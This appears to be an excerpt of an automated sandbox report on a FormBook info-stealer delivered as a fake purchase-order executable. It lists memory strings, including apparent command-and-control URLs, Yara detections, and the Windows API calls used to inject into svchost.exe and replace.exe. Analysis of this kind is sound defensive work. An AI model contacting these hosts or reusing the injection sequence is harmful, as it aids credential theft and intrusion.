            Source: replace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css
            Source: replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
            Source: replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
            Source: replace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://code.jquery.com/jquery-3.4.1.min.js
            Source: replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
            Source: replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
            Source: replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
            Source: replace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://fonts.googleapis.com
            Source: replace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://fonts.googleapis.com/css2?family=Heebo:wght
            Source: replace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://fonts.gstatic.com
            Source: replace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://help.reg.ru/support/ssl-sertifikaty/1-etap-zakaz-ssl-sertifikata/kak-zakazat-besplatnyy-ssl-
            Source: replace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://htmlcodex.com
            Source: replace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://htmlcodex.com/credit-removal
            Source: replace.exe, 00000004.00000002.4572751193.00000000030FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
            Source: replace.exe, 00000004.00000002.4572751193.00000000030FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
            Source: replace.exe, 00000004.00000002.4572751193.00000000030FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
            Source: replace.exe, 00000004.00000002.4572751193.00000000030FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
            Source: replace.exe, 00000004.00000002.4572751193.00000000030FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
            Source: replace.exe, 00000004.00000002.4572751193.00000000030FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
            Source: replace.exe, 00000004.00000003.2430070446.0000000008132000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
            Source: replace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://parking.reg.ru/script/get_domain_data?domain_name=www.les-massage.online&rand=
            Source: replace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://reg.ru
            Source: replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
            Source: replace.exe, 00000004.00000002.4574211387.0000000004A30000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000004170000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.galaxyslot88rtp.lat/lbpf/?EjY0i=xfOdKrMPu&tD38rnpX=M
            Source: replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
            Source: replace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.reg.ru/dedicated/?utm_source=www.les-massage.online&utm_medium=parking&utm_campaign=s_la
            Source: replace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.reg.ru/domain/new/?utm_source=www.les-massage.online&utm_medium=parking&utm_campaign=s_l
            Source: replace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.reg.ru/hosting/?utm_source=www.les-massage.online&utm_medium=parking&utm_campaign=s_land
            Source: replace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.reg.ru/sozdanie-saita/
            Source: replace.exe, 00000004.00000002.4574211387.0000000005078000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.00000000047B8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.reg.ru/whois/?check=&dname=www.les-massage.online&amp;reg_source=parking_auto
            Source: replace.exe, 00000004.00000002.4574211387.000000000520A000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.000000000494A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.rtpngk.xyz/876i/?tD38rnpX=Kmyw
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00459FFF
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,0_2_00456354
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_0047C08E

            E-Banking Fraud

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000002.00000002.2247247769.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.4573534161.0000000002FA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2247657348.00000000032A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.4572490171.0000000002E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.4573627001.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.4573575803.0000000003340000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2248041261.0000000004400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.2247247769.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000003.00000002.4573534161.0000000002FA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.2247657348.00000000032A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000004.00000002.4572490171.0000000002E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000004.00000002.4573627001.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000004.00000002.4573575803.0000000003340000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.2248041261.0000000004400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042C473 NtClose,2_2_0042C473
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372B60 NtClose,LdrInitializeThunk,2_2_03372B60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_03372DF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372C70 NtFreeVirtualMemory,LdrInitializeThunk,2_2_03372C70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033735C0 NtCreateMutant,LdrInitializeThunk,2_2_033735C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03374340 NtSetContextThread,2_2_03374340
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03374650 NtSuspendThread,2_2_03374650
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372BA0 NtEnumerateValueKey,2_2_03372BA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372B80 NtQueryInformationFile,2_2_03372B80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372BF0 NtAllocateVirtualMemory,2_2_03372BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372BE0 NtQueryValueKey,2_2_03372BE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372AB0 NtWaitForSingleObject,2_2_03372AB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372AF0 NtWriteFile,2_2_03372AF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372AD0 NtReadFile,2_2_03372AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372F30 NtCreateSection,2_2_03372F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372F60 NtCreateProcessEx,2_2_03372F60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372FB0 NtResumeThread,2_2_03372FB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372FA0 NtQuerySection,2_2_03372FA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372F90 NtProtectVirtualMemory,2_2_03372F90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372FE0 NtCreateFile,2_2_03372FE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372E30 NtWriteVirtualMemory,2_2_03372E30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372EA0 NtAdjustPrivilegesToken,2_2_03372EA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372E80 NtReadVirtualMemory,2_2_03372E80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372EE0 NtQueueApcThread,2_2_03372EE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372D30 NtUnmapViewOfSection,2_2_03372D30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372D10 NtMapViewOfSection,2_2_03372D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372D00 NtSetInformationFile,2_2_03372D00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372DB0 NtEnumerateKey,2_2_03372DB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372DD0 NtDelayExecution,2_2_03372DD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372C00 NtQueryInformationProcess,2_2_03372C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372C60 NtCreateKey,2_2_03372C60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372CA0 NtQueryInformationToken,2_2_03372CA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372CF0 NtOpenProcess,2_2_03372CF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03372CC0 NtQueryVirtualMemory,2_2_03372CC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03373010 NtOpenDirectoryObject,2_2_03373010
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03373090 NtSetValueKey,2_2_03373090
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033739B0 NtGetContextThread,2_2_033739B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03373D10 NtOpenProcessToken,2_2_03373D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03373D70 NtOpenThread,2_2_03373D70
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03724340 NtSetContextThread,LdrInitializeThunk,4_2_03724340
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03724650 NtSuspendThread,LdrInitializeThunk,4_2_03724650
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722B60 NtClose,LdrInitializeThunk,4_2_03722B60
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722BF0 NtAllocateVirtualMemory,LdrInitializeThunk,4_2_03722BF0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722BE0 NtQueryValueKey,LdrInitializeThunk,4_2_03722BE0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722BA0 NtEnumerateValueKey,LdrInitializeThunk,4_2_03722BA0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722AF0 NtWriteFile,LdrInitializeThunk,4_2_03722AF0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722AD0 NtReadFile,LdrInitializeThunk,4_2_03722AD0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722F30 NtCreateSection,LdrInitializeThunk,4_2_03722F30
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722FE0 NtCreateFile,LdrInitializeThunk,4_2_03722FE0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722FB0 NtResumeThread,LdrInitializeThunk,4_2_03722FB0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722EE0 NtQueueApcThread,LdrInitializeThunk,4_2_03722EE0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722E80 NtReadVirtualMemory,LdrInitializeThunk,4_2_03722E80
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722D30 NtUnmapViewOfSection,LdrInitializeThunk,4_2_03722D30
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722D10 NtMapViewOfSection,LdrInitializeThunk,4_2_03722D10
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722DF0 NtQuerySystemInformation,LdrInitializeThunk,4_2_03722DF0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722DD0 NtDelayExecution,LdrInitializeThunk,4_2_03722DD0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722C70 NtFreeVirtualMemory,LdrInitializeThunk,4_2_03722C70
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722C60 NtCreateKey,LdrInitializeThunk,4_2_03722C60
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722CA0 NtQueryInformationToken,LdrInitializeThunk,4_2_03722CA0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037235C0 NtCreateMutant,LdrInitializeThunk,4_2_037235C0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_037239B0 NtGetContextThread,LdrInitializeThunk,4_2_037239B0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722B80 NtQueryInformationFile,4_2_03722B80
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722AB0 NtWaitForSingleObject,4_2_03722AB0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722F60 NtCreateProcessEx,4_2_03722F60
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722FA0 NtQuerySection,4_2_03722FA0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722F90 NtProtectVirtualMemory,4_2_03722F90
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722E30 NtWriteVirtualMemory,4_2_03722E30
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722EA0 NtAdjustPrivilegesToken,4_2_03722EA0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722D00 NtSetInformationFile,4_2_03722D00
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722DB0 NtEnumerateKey,4_2_03722DB0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722C00 NtQueryInformationProcess,4_2_03722C00
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722CF0 NtOpenProcess,4_2_03722CF0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03722CC0 NtQueryVirtualMemory,4_2_03722CC0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03723010 NtOpenDirectoryObject,4_2_03723010
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03723090 NtSetValueKey,4_2_03723090
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03723D70 NtOpenThread,4_2_03723D70
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_03723D10 NtOpenProcessToken,4_2_03723D10
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E78E40 NtReadFile,4_2_02E78E40
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E78FD0 NtClose,4_2_02E78FD0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E78F30 NtDeleteFile,4_2_02E78F30
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E78CE0 NtCreateFile,4_2_02E78CE0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_02E79120 NtAllocateVirtualMemory,4_2_02E79120
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_0349F97A NtSetContextThread,4_2_0349F97A
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_00434D50
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_004461ED
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00409A400_2_00409A40
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004120380_2_00412038
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004271610_2_00427161
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0047E1FA0_2_0047E1FA
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004212BE0_2_004212BE
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004433900_2_00443390
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004433910_2_00443391
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0041A46B0_2_0041A46B
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0041240C0_2_0041240C
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004465660_2_00446566
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004045E00_2_004045E0
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0041D7500_2_0041D750
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004037E00_2_004037E0
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004278590_2_00427859
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004128180_2_00412818
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0040F8900_2_0040F890
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0042397B0_2_0042397B
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00411B630_2_00411B63
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0047CBF00_2_0047CBF0
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0044EBBC0_2_0044EBBC
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00412C380_2_00412C38
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0044ED9A0_2_0044ED9A
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00423EBF0_2_00423EBF
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00424F700_2_00424F70
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0041AF0D0_2_0041AF0D
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_03EF4C480_2_03EF4C48
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004184532_2_00418453
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004029202_2_00402920
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004012402_2_00401240
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004032002_2_00403200
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042EAE32_2_0042EAE3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004024102_2_00402410
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FCAA2_2_0040FCAA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FCB32_2_0040FCB3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004045C42_2_004045C4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004026102_2_00402610
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041662E2_2_0041662E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004166332_2_00416633
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FED32_2_0040FED3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040DF532_2_0040DF53
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FA3522_2_033FA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034003E62_2_034003E6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334E3F02_2_0334E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E02742_2_033E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C02C02_2_033C02C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033DA1182_2_033DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033301002_2_03330100
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033C81582_2_033C8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F41A22_2_033F41A2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034001AA2_2_034001AA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F81CC2_2_033F81CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033D20002_2_033D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033407702_2_03340770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033647502_2_03364750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333C7C02_2_0333C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0335C6E02_2_0335C6E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033405352_2_03340535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_034005912_2_03400591
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033E44202_2_033E4420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F24462_2_033F2446
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033EE4F62_2_033EE4F6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033FAB402_2_033FAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033F6BD72_2_033F6BD7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0333EA802_2_0333EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033569622_2_03356962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033429A02_2_033429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0340A9A62_2_0340A9A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0334A8402_2_0334A840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033428402_2_03342840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033268B82_2_033268B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0336E8F02_2_0336E8F0
